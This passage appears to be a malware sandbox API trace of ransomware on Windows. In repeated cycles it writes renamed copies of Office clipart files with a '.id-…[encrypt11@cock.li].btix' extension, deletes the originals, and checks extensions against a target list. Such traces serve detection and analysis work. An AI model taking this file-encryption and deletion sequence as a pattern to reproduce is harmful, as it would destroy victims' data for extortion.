lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.286] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.286] SetEndOfFile (hFile=0x35c) returned 1 [0153.286] CloseHandle (hObject=0x35c) returned 1 [0153.286] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.286] SetEndOfFile (hFile=0x374) returned 1 [0153.287] CloseHandle (hObject=0x374) returned 1 [0153.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 1 [0153.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0153.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0153.288] lstrlenW (lpString=".doc") returned 4 [0153.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.288] lstrlenW (lpString=".docx") returned 5 [0153.288] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.288] lstrlenW (lpString=".pdf") returned 4 [0153.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.288] lstrlenW (lpString=".xls") returned 4 [0153.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.288] lstrlenW (lpString=".xlsx") returned 5 [0153.288] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.288] lstrlenW (lpString=".ppt") returned 4 [0153.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0153.288] lstrlenW (lpString=".zip") returned 4 [0153.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.288] lstrlenW (lpString=".rar") returned 4 [0153.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.288] lstrlenW (lpString=".bz2") returned 4 [0153.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.288] lstrlenW (lpString=".7z") returned 3 [0153.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0153.288] lstrlenW (lpString=".dbf") returned 4 [0153.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0153.288] lstrlenW (lpString=".1cd") returned 4 [0153.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0153.288] lstrlenW (lpString=".jpg") returned 4 [0153.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.289] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.289] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0153.289] GetLastError () returned 0x0 [0153.289] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1028, lpOverlapped=0x0) returned 1 [0153.290] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1030, lpOverlapped=0x0) returned 1 [0153.291] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.291] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.291] SetEndOfFile (hFile=0x35c) returned 1 [0153.291] CloseHandle (hObject=0x35c) returned 1 [0153.291] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.291] SetEndOfFile (hFile=0x374) returned 1 [0153.292] CloseHandle (hObject=0x374) returned 1 [0153.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 1 [0153.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0153.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0153.292] lstrlenW (lpString=".doc") returned 4 [0153.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.292] lstrlenW (lpString=".docx") returned 5 [0153.292] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.292] lstrlenW (lpString=".pdf") returned 4 [0153.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.292] lstrlenW (lpString=".xls") returned 4 [0153.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.292] lstrlenW (lpString=".xlsx") returned 5 [0153.293] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.293] lstrlenW (lpString=".ppt") returned 4 [0153.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0153.293] lstrlenW (lpString=".zip") returned 4 [0153.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.293] lstrlenW (lpString=".rar") returned 4 [0153.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.293] lstrlenW (lpString=".bz2") returned 4 [0153.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.293] lstrlenW (lpString=".7z") returned 3 [0153.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0153.293] lstrlenW (lpString=".dbf") returned 4 [0153.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0153.293] lstrlenW (lpString=".1cd") returned 4 [0153.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0153.293] lstrlenW (lpString=".jpg") returned 4 [0153.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.293] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.293] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0153.294] GetLastError () returned 0x0 [0153.294] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x3e10, lpOverlapped=0x0) returned 1 [0153.294] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3e20, lpOverlapped=0x0) returned 1 [0153.295] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.295] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.295] SetEndOfFile (hFile=0x35c) returned 1 [0153.296] CloseHandle (hObject=0x35c) returned 1 [0153.296] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.296] SetEndOfFile (hFile=0x374) returned 1 [0153.297] CloseHandle (hObject=0x374) returned 1 [0153.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 1 [0153.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0153.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0153.297] lstrlenW (lpString=".doc") returned 4 [0153.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.297] lstrlenW (lpString=".docx") returned 5 [0153.297] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.297] lstrlenW (lpString=".pdf") returned 4 [0153.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.297] lstrlenW (lpString=".xls") returned 4 [0153.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.297] lstrlenW (lpString=".xlsx") returned 5 [0153.297] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.297] lstrlenW (lpString=".ppt") returned 4 [0153.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0153.297] lstrlenW (lpString=".zip") returned 4 [0153.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.297] lstrlenW (lpString=".rar") returned 4 [0153.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.298] lstrlenW (lpString=".bz2") returned 4 [0153.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.298] lstrlenW (lpString=".7z") returned 3 [0153.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0153.298] lstrlenW (lpString=".dbf") returned 4 [0153.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0153.298] lstrlenW (lpString=".1cd") returned 4 [0153.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0153.298] lstrlenW (lpString=".jpg") returned 4 [0153.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.298] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.298] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0153.298] GetLastError () returned 0x0 [0153.298] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2a64, lpOverlapped=0x0) returned 1 [0153.299] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2a70, lpOverlapped=0x0) returned 1 [0153.445] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.445] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.445] SetEndOfFile (hFile=0x35c) returned 1 [0153.445] CloseHandle (hObject=0x35c) returned 1 [0153.445] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.446] SetEndOfFile (hFile=0x374) returned 1 [0153.450] CloseHandle (hObject=0x374) returned 1 [0153.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 1 [0153.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0153.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0153.451] lstrlenW (lpString=".doc") returned 4 [0153.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.451] lstrlenW (lpString=".docx") returned 5 [0153.451] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.451] lstrlenW (lpString=".pdf") returned 4 [0153.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.451] lstrlenW (lpString=".xls") returned 4 [0153.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.451] lstrlenW (lpString=".xlsx") returned 5 [0153.451] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.451] lstrlenW (lpString=".ppt") returned 4 [0153.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0153.451] lstrlenW (lpString=".zip") returned 4 [0153.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.452] lstrlenW (lpString=".rar") returned 4 [0153.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.452] lstrlenW (lpString=".bz2") returned 4 [0153.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.452] lstrlenW (lpString=".7z") returned 3 [0153.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0153.452] lstrlenW (lpString=".dbf") returned 4 [0153.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0153.452] lstrlenW (lpString=".1cd") returned 4 [0153.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0153.452] lstrlenW (lpString=".jpg") returned 4 [0153.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.455] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.455] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0153.456] GetLastError () returned 0x0 [0153.456] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2ce4, lpOverlapped=0x0) returned 1 [0153.478] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0153.478] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.479] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.479] SetEndOfFile (hFile=0x35c) returned 1 [0153.479] CloseHandle (hObject=0x35c) returned 1 [0153.479] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.479] SetEndOfFile (hFile=0x374) returned 1 [0153.480] CloseHandle (hObject=0x374) returned 1 [0153.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 1 [0153.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0153.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0153.480] lstrlenW (lpString=".doc") returned 4 [0153.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.480] lstrlenW (lpString=".docx") returned 5 [0153.480] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.480] lstrlenW (lpString=".pdf") returned 4 [0153.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.481] lstrlenW (lpString=".xls") returned 4 [0153.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.481] lstrlenW (lpString=".xlsx") returned 5 [0153.481] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.481] lstrlenW (lpString=".ppt") returned 4 [0153.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0153.481] lstrlenW (lpString=".zip") returned 4 [0153.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.481] lstrlenW (lpString=".rar") returned 4 [0153.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.481] lstrlenW (lpString=".bz2") returned 4 [0153.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.481] lstrlenW (lpString=".7z") returned 3 [0153.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0153.481] lstrlenW (lpString=".dbf") returned 4 [0153.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0153.481] lstrlenW (lpString=".1cd") returned 4 [0153.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0153.481] lstrlenW (lpString=".jpg") returned 4 [0153.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.482] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.482] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0153.482] GetLastError () returned 0x0 [0153.482] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1338, lpOverlapped=0x0) returned 1 [0153.593] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1340, lpOverlapped=0x0) returned 1 [0153.593] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.593] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.594] SetEndOfFile (hFile=0x35c) returned 1 [0153.594] CloseHandle (hObject=0x35c) returned 1 [0153.594] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.594] SetEndOfFile (hFile=0x374) returned 1 [0153.595] CloseHandle (hObject=0x374) returned 1 [0153.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 1 [0153.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0153.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0153.595] lstrlenW (lpString=".doc") returned 4 [0153.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.595] lstrlenW (lpString=".docx") returned 5 [0153.596] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.596] lstrlenW (lpString=".pdf") returned 4 [0153.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.596] lstrlenW (lpString=".xls") returned 4 [0153.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.596] lstrlenW (lpString=".xlsx") returned 5 [0153.596] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.596] lstrlenW (lpString=".ppt") returned 4 [0153.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0153.596] lstrlenW (lpString=".zip") returned 4 [0153.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") 